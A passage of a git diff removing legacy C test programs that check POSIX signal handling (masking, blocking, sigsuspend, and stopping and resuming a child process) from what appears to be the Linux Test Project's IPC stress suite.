- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*---------------------------------------------------------------------+
-|                          signal_test_02                              |
-| ==================================================================== |
-|                                                                      |
-| Description:  Simplistic test to verify the signal system function   |
-|               calls:                                                 |
-|                                                                      |
-|               o  Setup a signal-catching function for every possible |
-|                  signal.                                             |
-|               o  Send signals to the process and verify that they    |
-|                  were received by the signal-catching function.      |
-|               o  Block a few signals by changing the process signal  |
-|                  mask.  Send signals to the process and verify that  |
-|                  they indeed were blocked.                           |
-|               o  Add additional signals to the process signal mask.  |
-|                  Verify that they were blocked too.                  |
-|               o  Change the process signal mask to unblock one       |
-|                  signal and suspend execution of the process until   |
-|                  the signal is received.  Verify that the unblocked  |
-|                  signal is received.                                 |
-|                                                                      |
-| System calls: The following system calls are tested:                 |
-|                                                                      |
-|               sigprocmask () - Sets the current signal mask          |
-|               sigemptyset () - Creates and manipulates signal masks  |
-|               sigfillset () - Creates and manipulates signal masks   |
-|               sigaddset () - Creates and manipulates signal masks    |
-|               sigdelset () - Creates and manipulates signal masks    |
-|               sigsuspend () - Atomically changes the set of blocked  |
-|                               signals and waits for a signal         |
-|               sigaction () - Specifies the action to take upon       |
-|                              delivery of a signal                    |
-|               kill () - Sends a signal to a process                  |
-|                                                                      |
-| Usage:        signal_test_03                                         |
-|                                                                      |
-| To compile:   cc -o signal_test_03 signal_test_03                    |
-|                                                                      |
-| Last update:   Ver. 1.2, 2/7/94 23:17:48                             |
-|                                                                      |
-| Change Activity                                                      |
-|                                                                      |
-|   Version  Date    Name  Reason                                      |
-|    0.1     050689  CTU   Initial version                             |
-|    0.2     112293  DJK   Rewrite for AIX version 4.1                 |
-|    1.2     020794  DJK   Move to "prod" directory                    |
-|    1.3     060501  VHM   Port to work in linux                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-
-#define SIGMAX 64		/* What should this number really be? _NSIG from bits/signum.h maybe? */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <errno.h>
-#include <signal.h>
-#include <string.h>
-#include <unistd.h>
-#include <sys/types.h>
-
-/* Macro for specifying signal masks */
-#define MASK(sig)  (1 << ((sig) - 1))
-
-#include "signals.h"
-
-/* Function prototypes */
-void init_sig();
-void handler(int sig);		//, int code, struct sigcontext *);
-void reset_valid_sig();
-void sys_error(const char *, int);
-void error(const char *, int);
-
-/* Define an array for verifying received signals */
-int valid_sig[SIGMAX + 1];
-
-/*---------------------------------------------------------------------+
-|                               main ()                                |
-| ==================================================================== |
-|                                                                      |
-| Function:  Main program  (see prolog for more details)               |
-|                                                                      |
-+---------------------------------------------------------------------*/
-int main(int argc, char **argv)
-{
-	sigset_t setsig,	/* Initial signal mask */
-	 newsetsig;		/* Second signal mask */
-	pid_t pid = getpid();	/* Process ID (of this process) */
-
-	/* Print out program header */
-	printf("%s: IPC TestSuite program\n\n", *argv);
-
-	/*
-	 * Establish signal handler for each signal & reset "valid signals"
-	 * array
-	 */
-	init_sig();
-	reset_valid_sig();
-
-	sigemptyset(&setsig);
-	if (sigprocmask(SIG_SETMASK, &setsig, NULL) < 0)
-		sys_error("sigprocmask failed", __LINE__);
-
-	/*
-	 * Send SIGILL, SIGALRM & SIGIOT signals to this process:
-	 *
-	 * First indicate which signals the signal handler should expect
-	 * by setting the corresponding valid_sig[] array fields.
-	 *
-	 * Then send the signals to this process.
-	 *
-	 * And finally verify that the signals were caught by the signal
-	 * handler by checking to see if the corresponding valid_sig[] array
-	 * fields were reset.
-	 */
-	printf("\tSend SIGILL, SIGALRM, SIGIOT signals to process\n");
-	valid_sig[SIGILL] = 1;
-	valid_sig[SIGALRM] = 1;
-	valid_sig[SIGIOT] = 1;
-
-	kill(pid, SIGILL);
-	kill(pid, SIGALRM);
-	kill(pid, SIGIOT);
-
-	if (valid_sig[SIGILL])
-		error("failed to receive SIGILL signal!", __LINE__);
-	if (valid_sig[SIGALRM])
-		error("failed to receive SIGALRM signal!", __LINE__);
-	if (valid_sig[SIGIOT])
-		error("failed to receive SIGIOT signal!", __LINE__);
-
-	/*
-	 * Block SIGILL, SIGALRM & SIGIOT signals:
-	 *
-	 * First initialize the signal set so that all signals are excluded,
-	 * then individually add the signals to block to the signal set.
-	 *
-	 * Then change the process signal mask with sigprocmask (SIG_SETMASK).
-	 *
-	 * Verify that the desired signals are blocked from interrupting the
-	 * process, by sending both blocked and unblocked signals to the
-	 * process.  Only the unblocked signals should interrupt the process.
-	 */
-	printf("\n\tBlock SIGILL, SIGALRM, SIGIOT signals, "
-	       "and resend signals + others\n");
-	sigemptyset(&setsig);
-
-	if (sigaddset(&setsig, SIGIOT) < 0)
-		sys_error("sigaddset (SIGIOT) failed", __LINE__);
-	if (sigaddset(&setsig, SIGILL) < 0)
-		sys_error("sigaddset (SIGILL) failed", __LINE__);
-	if (sigaddset(&setsig, SIGALRM) < 0)
-		sys_error("sigaddset (SIGALRM) failed", __LINE__);
-
-	if (sigprocmask(SIG_SETMASK, &setsig, NULL) < 0)
-		sys_error("sigaddset (SIGALRM) failed", __LINE__);
-
-	valid_sig[SIGFPE] = 1;
-	valid_sig[SIGTERM] = 1;
-	valid_sig[SIGINT] = 1;
-
-	kill(pid, SIGILL);
-	kill(pid, SIGALRM);
-	kill(pid, SIGIOT);
-	kill(pid, SIGFPE);
-	kill(pid, SIGTERM);
-	kill(pid, SIGINT);
-
-	if (valid_sig[SIGFPE])
-		sys_error("failed to receive SIGFPE signal!", __LINE__);
-	if (valid_sig[SIGTERM])
-		sys_error("failed to receive SIGTERM signal!", __LINE__);
-	if (valid_sig[SIGINT])
-		sys_error("failed to receive SIGINT signal!", __LINE__);
-
-	/*
-	 * Block additional SIGFPE, SIGTERM & SIGINT signals:
-	 *
-	 * Create an other signal set to contain the additional signals to block
-	 * and add the signals to block to the signal set.
-	 *
-	 * Change the process signal mask to block the additional signals
-	 * with the sigprocmask (SIG_BLOCK) function.
-	 *
-	 * Verify that all of the desired signals are now blocked from
-	 * interrupting the process.  None of the specified signals should
-	 * interrupt the process until the process signal mask is changed.
-	 */
-	printf("\n\tBlock rest of signals\n");
-	sigemptyset(&newsetsig);
-
-	sigaddset(&newsetsig, SIGFPE);
-	sigaddset(&newsetsig, SIGTERM);
-	sigaddset(&newsetsig, SIGINT);
-
-	if (sigprocmask(SIG_BLOCK, &newsetsig, &setsig) < 0)
-		sys_error("sigprocmask failed", __LINE__);
-
-	kill(pid, SIGILL);
-	kill(pid, SIGALRM);
-	kill(pid, SIGIOT);
-	kill(pid, SIGFPE);
-	kill(pid, SIGTERM);
-	kill(pid, SIGINT);
-
-	/*
-	 * Wait two seconds just to make sure that none of the specified
-	 * signals interrupt the process (They should all be blocked).
-	 */
-	sleep(2);
-
-	/*
-	 * Change the process signal mask:
-	 *
-	 * Now specifiy a new process signal set to allow the SIGINT signal
-	 * to interrupt the process.  Create the signal set by initializing
-	 * the signal set with sigfillset () so that all signals are included
-	 * in the signal set, then remove the SIGINT signal from the set with
-	 * sigdelset ().
-	 *
-	 * Force the  process to suspend execution until delivery of an
-	 * unblocked signal (SIGINT in this case) with sigsuspend ().
-	 *
-	 * Additionally, verify that the SIGINT signal was received.
-	 */
-	valid_sig[SIGINT] = 1;
-
-	printf
-	    ("\n\tChange signal mask & wait until signal interrupts process\n");
-	if (sigfillset(&setsig) < 0)
-		sys_error("sigfillset failed", __LINE__);
-	if (sigdelset(&setsig, SIGINT) < 0)
-		sys_error("sigdelset failed", __LINE__);
-	if (sigsuspend(&setsig) != -1 || errno != 4)
-		sys_error("sigsuspend failed", __LINE__);
-
-	if (valid_sig[SIGINT])
-		error("failed to receive SIGIOT signal!", __LINE__);
-
-	/* Program completed successfully -- exit */
-	printf("\nsuccessful!\n");
-
-	return (0);
-}
-
-/*---------------------------------------------------------------------+
-|                             init_sig ()                              |
-| ==================================================================== |
-|                                                                      |
-| Function:  Initialize the signal vector for ALL possible signals     |
-|            (as defined in /usr/include/sys/signal.h) except for      |
-|            the following signals which cannot be caught or ignored:  |
-|                                                                      |
-|              o  SIGKILL (9)                                          |
-|              o  SIGSTOP (17)                                         |
-|              o  SIGCONT (19)                                         |
-|                                                                      |
-| Returns:   n/a                                                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void init_sig()
-{
-	struct sigaction invec;
-	char msg[256];		/* Buffer for error message */
-	int i;
-
-	for (i = 1; i <= SIGMAX; i++) {
-
-		/* Cannot catch or ignore the following signals */
-#ifdef _IA64			/* SIGWAITING not supported, RESERVED */
-		if ((i == SIGKILL) || (i == SIGSTOP) ||
-		    (i == SIGCONT) || (i == SIGWAITING))
-			continue;
-#else
-#ifdef _LINUX_
-		if ((i == SIGKILL) || (i == SIGSTOP)
-		    || ((i >= 32) && (i <= 34)))
-			continue;
-#else
-		if (i == SIGKILL || i == SIGSTOP || i == SIGCONT)
-			continue;
-#endif
-#endif
-
-		invec.sa_handler = (void (*)(int))handler;
-		sigemptyset(&invec.sa_mask);
-		invec.sa_flags = 0;
-
-		if (sigaction(i, &invec, NULL) < 0) {
-			sprintf(msg, "sigaction failed on signal %d", i);
-			error(msg, __LINE__);
-		}
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                             handler ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Signal catching function.  As specified in init_sig_vec() |
-|            this function is automatically called each time a signal  |
-|            is received by the process.                               |
-|                                                                      |
-|            Once receiving the signal, verify that the corresponding  |
-|            signal was expected.                                      |
-|                                                                      |
-| Returns:   Aborts program if an unexpected signal was received.      |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void handler(int sig)		//, int code, struct sigcontext *scp)
-{
-	char msg[256];
-
-	/* Check to insure that expected signal was received */
-	if (valid_sig[sig]) {
-		valid_sig[sig] = 0;
-		printf("\treceived signal: (%s)\n", signames[sig]);
-	} else {
-		sprintf(msg, "unexpected signal (%d,%s)", sig,
-			(sig < 32) ? signames[sig] : "unknown signal");
-		error(msg, __LINE__);
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                         reset_valid_sig ()                           |
-| ==================================================================== |
-|                                                                      |
-| Function:  Reset the valid "signal" array                            |
-|                                                                      |
-| Returns:   n/a                                                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void reset_valid_sig()
-{
-	int i;
-
-	for (i = 0; i < (SIGMAX + 1); i++)
-		valid_sig[i] = 0;
-}
-
-/*---------------------------------------------------------------------+
-|                             sys_error ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Creates system error message and calls error ()           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void sys_error(const char *msg, int line)
-{
-	char syserr_msg[256];
-
-	sprintf(syserr_msg, "%s: %s\n", msg, strerror(errno));
-	error(syserr_msg, line);
-}
-
-/*---------------------------------------------------------------------+
-|                               error ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Prints out message and exits...                           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void error(const char *msg, int line)
-{
-	fprintf(stderr, "ERROR [line: %d] %s\n", line, msg);
-	exit(-1);
-}
diff --git a/testcases/kernel/ipc/ipc_stress/signal_test_03.c b/testcases/kernel/ipc/ipc_stress/signal_test_03.c
deleted file mode 100644
index 5fe83fb..0000000
--- a/testcases/kernel/ipc/ipc_stress/signal_test_03.c
+++ /dev/null
@@ -1,269 +0,0 @@
-/*
- *   Copyright (C) Bull S.A. 1996
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*---------------------------------------------------------------------+
-|                           signal_test_03                             |
-| ==================================================================== |
-|                                                                      |
-| Description:  Block a critical section from receiving signals.       |
-|                                                                      |
-| Algorithm:    o  Setup a signal-catching function                    |
-|               o  Beginning of Critical section -- Set the process    |
-|                  signal mask to block the SIGILL signal              |
-|               o  Send SIGILL signal to the process to insure that    |
-|                  the signal is blocked during the critical section   |
-|               o  Preform the critical section code (merely sleep     |
-|                  for testing purposes)                               |
-|               o  Verify that the signal was blocked                  |
-|               o  End of Critical section -- unblock the signal and   |
-|                  suspend he process signal mask to unblock one       |
-|                  signal and suspend execution of the process until   |
-|                  the signal is received.  Verify that the unblocked  |
-|                  signal is received.                                 |
-|                                                                      |
-| System calls: The following system calls are tested:                 |
-|                                                                      |
-|               sigsetmask () - Sets the current signal mask           |
-|               sigblock () - Sets the current signal mask             |
-|               sigvec () - Specify the action to take upon delivery   |
-|                           of a signal.                               |
-|               raise () - Sends a signal to the executing program     |
-|                                                                      |
-| Usage:        signal_test_03                                         |
-|                                                                      |
-| To compile:   cc -o signal_test_03 signal_test_03                    |
-|                                                                      |
-| Last update:   Ver. 1.2, 2/7/94 23:23:34                           |
-|                                                                      |
-| Change Activity                                                      |
-|                                                                      |
-|   Version  Date    Name  Reason                                      |
-|    0.1     050689  CTU   Initial version                             |
-|    1.2     112293  DJK   Rewrite for AIX version 4.1                 |
-|                                                                      |
-+---------------------------------------------------------------------*/
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <signal.h>
-#include <string.h>
-#include <unistd.h>
-#include <errno.h>
-
-#define MASK(sig)  (1 << ((sig) - 1))
-#define MAXTIME	2		/* MAX timeout (minutes) */
-
-#ifdef _LINUX_
-// bits/signum.h defines _NSIG as 64
-#define SIGMAX 64
-#endif
-
-#include "signals.h"
-
-/* Function prototypes */
-void handler(int);
-void init_sig_vec();
-void sys_error(const char *, int);
-void error(const char *, int);
-
-/* Global variables */
-int signals_received = 0;
-
-/*---------------------------------------------------------------------+
-|                               main ()                                |
-| ==================================================================== |
-|                                                                      |
-| Function:  Main program  (see prolog for more details)               |
-|                                                                      |
-+---------------------------------------------------------------------*/
-int main(int argc, char **argv)
-{
-	int timeout = MAXTIME * 60;	/* Number sec to wait for signal */
-
-	/* Print out program header */
-	printf("%s: IPC Signals TestSuite program\n\n", *argv);
-
-	/* Set up our signal handlers */
-	init_sig_vec();
-
-	/*
-	 * Critical section - block SIGILL signal
-	 *
-	 * Block the SIGILL interrupt from interrupting the process
-	 * with the sigprocmask () system function call.
-	 *
-	 * Send the SIGILL interrupt to the process in an attempt to
-	 * disrupt the critial section -- the signal should be blocked.
-	 * Wait one second to insure that the signal has plenty of time
-	 * to reach the process.
-	 */
-#ifdef _LINUX_
-	sigset_t mask;
-	sigemptyset(&mask);
-	sigaddset(&mask, SIGILL);
-	sigprocmask(SIG_BLOCK, &mask, NULL);
-#else
-	if (sigblock(MASK(SIGILL)) < 0)
-		sys_error("sigblock failed", __LINE__);
-#endif
-
-	printf("\t(BEGIN) Critial section\n");
-
-	/* Critial section */
-	sleep(1);
-
-	/*
-	 * End of critical section - ensure SIGILL signal was not received
-	 *
-	 * Check to insure that the signal handler has not caught any signals,
-	 * and then unblock all of the signals with the sigsetmask system
-	 * function call.
-	 */
-	if (signals_received > 0)
-		error
-		    ("received an unexpected signal during the critical section",
-		     __LINE__);
-
-	printf("\n\t(END) Critial section\n");
-
-#ifdef _LINUX_
-	sigemptyset(&mask);
-	sigprocmask(SIG_SETMASK, &mask, NULL);
-#else
-	if (sigsetmask(0) < 0)
-		sys_error("sigsetmask failed", __LINE__);
-#endif
-	raise(SIGILL);
-
-	/*
-	 * Upon unblocking the signals, should receive the SIGILL signal.
-	 * Verify that it indeed is caught.
-	 */
-	while (signals_received == 0 && --timeout) {
-		printf(".");
-		fflush(stdout);
-		sleep(1);
-	}
-
-	if (timeout == 0)
-		error
-		    ("failed to receive SIGILL signal after unblocking signals",
-		     __LINE__);
-
-	/* Program completed successfully -- exit */
-	printf("\nsuccessful!\n");
-	return (0);
-}
-
-/*---------------------------------------------------------------------+
-|                           init_sig_vec ()                            |
-| ==================================================================== |
-|                                                                      |
-| Function:  Initialize the signal vector for ALL possible signals     |
-|            (as defined in /usr/include/sys/signal.h) except for      |
-|            the following signals which cannot be caught or ignored:  |
-|                                                                      |
-|              o  SIGKILL (9)                                          |
-|              o  SIGSTOP (17)                                         |
-|              o  SIGCONT (19)                                         |
-|                                                                      |
-| Returns:   Nothing                                                   |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void init_sig_vec()
-{
-	struct sigaction invec;
-	char msg[256];		/* Buffer for error message */
-	int i;
-
-	for (i = 1; i <= SIGMAX; i++) {
-
-		/* Cannot catch or ignore the following signals */
-#ifdef _IA64			/* SIGWAITING not supported, RESERVED */
-		if ((i == SIGKILL) || (i == SIGSTOP) ||
-		    (i == SIGCONT) || (i == SIGWAITING))
-			continue;
-#else
-#ifdef _LINUX_
-		if ((i == SIGKILL) || (i == SIGSTOP)
-		    || ((i >= 32) && (i <= 34)))
-			continue;
-#else
-		if (i == SIGKILL || i == SIGSTOP || i == SIGCONT)
-			continue;
-#endif
-#endif
-
-		invec.sa_handler = (void (*)(int))handler;
-		sigemptyset(&invec.sa_mask);
-		invec.sa_flags = 0;
-
-		if (sigaction(i, &invec, NULL) < 0) {
-			sprintf(msg, "sigaction failed on signal %d", i);
-			error(msg, __LINE__);
-		}
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                             handler ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Signal catching function.  This function is called each   |
-|            time a non-blocked signal is received by the process.     |
-|                                                                      |
-|            Increment the global variable (signals_received) for      |
-|            each received signal.                                     |
-|                                                                      |
-| Returns:   Nothing                                                   |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void handler(int signal)
-{
-	if (signal == SIGILL)
-		signals_received++;
-	printf("\treceived signal: (%s)\n", signames[signal]);
-}
-
-/*---------------------------------------------------------------------+
-|                             sys_error ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Creates system error message and calls error ()           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void sys_error(const char *msg, int line)
-{
-	char syserr_msg[256];
-
-	sprintf(syserr_msg, "%s: %s\n", msg, strerror(errno));
-	error(syserr_msg, line);
-}
-
-/*---------------------------------------------------------------------+
-|                               error ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Prints out message and exits...                           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void error(const char *msg, int line)
-{
-	fprintf(stderr, "ERROR [line: %d] %s\n", line, msg);
-	exit(-1);
-}
diff --git a/testcases/kernel/ipc/ipc_stress/signal_test_04.c b/testcases/kernel/ipc/ipc_stress/signal_test_04.c
deleted file mode 100644
index e33a46f..0000000
--- a/testcases/kernel/ipc/ipc_stress/signal_test_04.c
+++ /dev/null
@@ -1,384 +0,0 @@
-/*
- *   Copyright (C) Bull S.A. 1996
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*---------------------------------------------------------------------+
-|                            signal_test_04                            |
-| ==================================================================== |
-|                                                                      |
-| Description:  Verify default signal actions (for SIGSTOP & SIGCONT)  |
-|               by spawning a child process and sending the signals    |
-|               to the child.  Meanwhile, checking to insure that the  |
-|               child process takes the default action for each signal |
-|               received.                                              |
-|                                                                      |
-| Algorithm:    o  Use sigaction (SIG_DFL) to take the default action  |
-|                  for all signals except for SIGCHLD, SIGUSR1         |
-|                  SIGUSR2                                             |
-|                                                                      |
-|               o  Spawn a child                                       |
-|                                                                      |
-|               (parent)                                               |
-|               o  Ensure that child process is running by waiting     |
-|                  for the child process to send a SIGUSR1 signal      |
-|               o  Send a SIGSTOP signal to stop the execution of the  |
-|                  child process                                       |
-|               o  Verify that the child process received the SIGSTOP  |
-|                  signal by waiting for the childs SIGCHLD signal     |
-|               o  Send a SIGCONT signal to resume the execution of    |
-|                  child process.                                      |
-|               o  Verify that the child process resumed execution by  |
-|                  waiting for the child to send another SIGUSR1       |
-|                  signal                                              |
-|               o  Kill child process with SIGUSR2 signal..            |
-|                                                                      |
-|               (child)                                                |
-|               o  Take default action for each received signal        |
-|               o  Continuously send SIGUSR1 signals to the parent     |
-|                  process                                             |
-|                                                                      |
-|                                                                      |
-| System calls: The following system calls are tested:                 |
-|                                                                      |
-|               sigaction () - specify the action to take upon         |
-|                              delivery of a signal                    |
-|               wait () - waits for a child process to stop or         |
-|                         terminate                                    |
-|               kill () - sends a signal to a process                  |
-|                                                                      |
-| Usage:        signal_test_04                                         |
-|                                                                      |
-| To compile:   cc -o signal_test_04 signal_test_04                    |
-|                                                                      |
-| Last update:   Ver. 1.3, 4/8/94 13:07:38                           |
-|                                                                      |
-| Change Activity                                                      |
-|                                                                      |
-|   Version  Date    Name  Reason                                      |
-|    0.1     112993  DJK   Initial program                             |
-|    1.2     020794  DJK   Move to "prod" directory                    |
-|                                                                      |
-+---------------------------------------------------------------------*/
-
-#include <stdio.h>
-#include <string.h>
-#ifdef _LINUX_
-#define __USE_XOPEN
-#endif
-#include <unistd.h>
-#include <stdlib.h>
-#include <sys/signal.h>
-#include <sys/wait.h>
-#include <errno.h>
-
-#ifdef _LINUX_
-// bits/signum.h defines _NSIG as 64
-#define SIGMAX 64
-#endif
-
-/* Function prototypes */
-void signal_init();
-void child(int);
-void handler(int, int, struct sigcontext *);
-void sys_error(const char *, int);
-void error(const char *, int);
-
-/* Flag set upon receiving SIGCHLD signal */
-volatile int sigchld_flag = 0;
-volatile int sigusr1_count = 0;
-
-/*---------------------------------------------------------------------+
-|                               main ()                                |
-| ==================================================================== |
-|                                                                      |
-| Function:  Main program  (see prolog for more details)               |
-|                                                                      |
-+---------------------------------------------------------------------*/
-int main(int argc, char **argv)
-{
-	pid_t pid = getpid(),	/* Process ID (of parent process) */
-	    cpid;		/* Process ID (of child process) */
-	int sigusr1_interrupts;	/* xxx */
-	int status;		/* Child's exit status */
-	int timeout = 10;	/* How long to wait for SIGCHILD */
-	char msg[100];		/* Buffer for error message */
-
-	/* Print out program header */
-	printf("%s: IPC TestSuite program\n\n", *argv);
-	fflush(stdout);
-
-	/* Set up our signal handler */
-	signal_init();
-
-	/*
-	 * Spawn a child process & have the child process send SIGUSR1
-	 * signals to the parent.
-	 */
-	switch (cpid = fork()) {
-	case -1:		/* Unable to create child process */
-		sys_error("fork failed", __LINE__);
-		exit(-1);
-
-	case 0:		/* Child process */
-		child(pid);
-
-	default:		/* Parent process */
-		break;
-	}
-
-	/*
-	 * Interrupt the child process
-	 *
-	 * Send SIGSTOP signal to child process (child process will
-	 * stop upon receiving the signal).
-	 *
-	 * Wait for the child process to receive the SIGSTOP signal
-	 * and send a corresponding SIGCLD interrupt to the parent.
-	 *
-	 * Send SIGKILL signal to child process (child process
-	 * will exit upon receiving the signal).
-	 */
-	printf("\tWait for SIGUSR1 signal from child process\n");
-#ifdef _IA64
-	while (sigusr1_count < 1)
-		sleep(1);
-#else
-	while (sigusr1_count < 1) ;
-#endif
-	printf("\tReceived SIGUSR1 (30)\n");
-	sigusr1_interrupts = sigusr1_count;
-
-	printf("\n\tStop the child process\n");
-	kill(cpid, SIGSTOP);
-
-	printf("\n\tWait for SIGCHLD signal from stopped child process\n");
-	alarm(timeout);
-	while (sigchld_flag < 1) ;
-	printf("\tReceived SIGCHLD (20)\n");
-
-	printf
-	    ("\n\tResume child process & wait for it to send SIGUSR1 signal\n");
-	kill(cpid, SIGCONT);
-
-#ifdef _IA64
-	while (sigusr1_interrupts == sigusr1_count)
-		sleep(1);
-#else
-	while (sigusr1_interrupts == sigusr1_count) ;
-#endif
-	printf("\tReceived SIGUSR1 (20)\n");
-
-	printf("\n\tNow kill the child process with SIGUSR2 signal\n");
-	kill(cpid, SIGUSR2);
-
-	/*
-	 * Wait for the child process to abort
-	 *
-	 * Suspend execution of the parent process until the SIGCHLD signal
-	 * is received upon termination of the child process.
-	 *
-	 * Check the child process's exit status (with POSIX macros) to
-	 * verify that the child process terminated due to the SIGKILL signal
-	 * from the parent.
-	 *
-	 * Additionally verify that the number of SIGCHLD signals received
-	 * has increased.
-	 */
-	printf("\n\tWait for SIGCHLD signal from killed child process\n");
-
-	wait(&status);
-
-	if (WIFSIGNALED(status)) {
-		if (WTERMSIG(status) != SIGUSR2) {
-			sprintf(msg,
-				"child process was killed with signal (%d)",
-				WTERMSIG(status));
-			error(msg, __LINE__);
-		}
-	} else {
-		error("child process did not receive SIGUSR2 signal", __LINE__);
-	}
-	if (sigchld_flag < 2)
-		error("child process failed to send SIGCHLD signal", __LINE__);
-
-	printf("\tReceived SIGCHLD (30)\n");
-
-	/* Program completed successfully -- exit */
-	printf("\nsuccessful!\n");
-
-	return 0;
-}
-
-/*---------------------------------------------------------------------+
-|                               child ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Child process -- loop until killed.                       |
-|            o  continuously send SIGUSR1 interrupts to parent         |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void child(pid_t pid)
-{
-	while (1) {
-		sleep(2);
-#ifdef _IA64
-		if (kill(pid, SIGUSR1) < 0)
-			perror("child: kill");
-#else
-		kill(pid, SIGUSR1);
-#endif
-	}
-
-	error("child process failed to terminate correctly", __LINE__);
-}
-
-/*---------------------------------------------------------------------+
-|                               handler ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Signal handler                                            |
-|                                                                      |
-| Parms:     signal - signal number caught                             |
-|                                                                      |
-| Returns:   Aborts if an unexpected signal is caught                  |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void handler(int signal, int code, struct sigcontext *scp)
-{
-	char msg[100];
-
-	if (signal == SIGCHLD) {
-		sigchld_flag++;
-	} else if (signal == SIGUSR1) {
-		sigusr1_count++;
-	} else if (signal == SIGALRM) {
-		sprintf(msg,
-			"Timed out waiting for SIGCHLD signal from child, defect # 124551");
-		error(msg, __LINE__);
-	} else {
-		sprintf(msg, "caught an unexpected signal (%d)", signal);
-		error(msg, __LINE__);
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                           signal_init ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Take default action for all signals except for SIGCHLD.   |
-|            Particularily interrested in the following:               |
-|                                                                      |
-|              o  SIGSTOP (17) - default action: stop                  |
-|              o  SIGCONT (19) - default action: stop                  |
-|              o  SIGKILL (09) - default action: abort process         |
-|                                                                      |
-|            Process signal handler upon receiving the following:      |
-|            (Sent when child process stops or exits)                  |
-|                                                                      |
-|              o  SIGCHLD (20)                                         |
-|                                                                      |
-| Returns:   n/a                                                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void signal_init()
-{
-	struct sigaction action;
-	char msg[100];
-	int i;
-
-	for (i = 1; i <= SIGMAX; i++) {
-
-		/* Do not ignore SIGCHILD signal */
-#ifdef _IA64			/* SIGWAITING not supported, RESERVED */
-		if (i == SIGCHLD || i == SIGALRM ||
-		    i == SIGUSR1 || i == SIGWAITING)
-			continue;
-#else
-#ifdef _LINUX_
-		if ((i == SIGKILL) || (i == SIGSTOP)
-		    || ((i >= 32) && (i <= 34)))
-			continue;
-#else
-		if ((i == SIGKILL) || (i == SIGSTOP) || (i == SIGCONT))
-			continue;
-#endif
-#endif
-
-		action.sa_handler = SIG_DFL;
-		sigfillset(&action.sa_mask);
-		action.sa_flags = SA_RESTART;
-
-		if (sigaction(i, &action, NULL) < 0) {
-			sprintf(msg, "sigaction failed on signal %d", i);
-			error(msg, __LINE__);
-		}
-	}
-
-	/* Setup signal handler for SIGCHLD & SIGUSR1 signals */
-	action.sa_handler = (void (*)(int))handler;
-	sigfillset(&action.sa_mask);
-
-	/* changing */
-	/*action.sa_flags = 0; */
-	action.sa_flags = SA_RESTART;
-
-	if (sigaction(SIGCHLD, &action, NULL) < 0)
-		sys_error("sigaction (SIGCHLD) failed", __LINE__);
-
-	/* changing */
-	action.sa_flags = SA_RESTART;
-	/* end of changing */
-
-	if (sigaction(SIGUSR1, &action, NULL) < 0)
-		sys_error("sigaction (SIGUSR1) failed", __LINE__);
-
-	/* Setup signal handler for SIGALRM */
-	action.sa_handler = (void (*)(int))handler;
-	if (sigaction(SIGALRM, &action, NULL) < 0)
-		sys_error("sigaction (SIGCHLD) failed", __LINE__);
-}
-
-/*---------------------------------------------------------------------+
-|                             sys_error ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Creates system error message and calls error ()           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void sys_error(const char *msg, int line)
-{
-	char syserr_msg[256];
-
-	sprintf(syserr_msg, "%s: %s\n", msg, strerror(errno));
-	error(syserr_msg, line);
-}
-
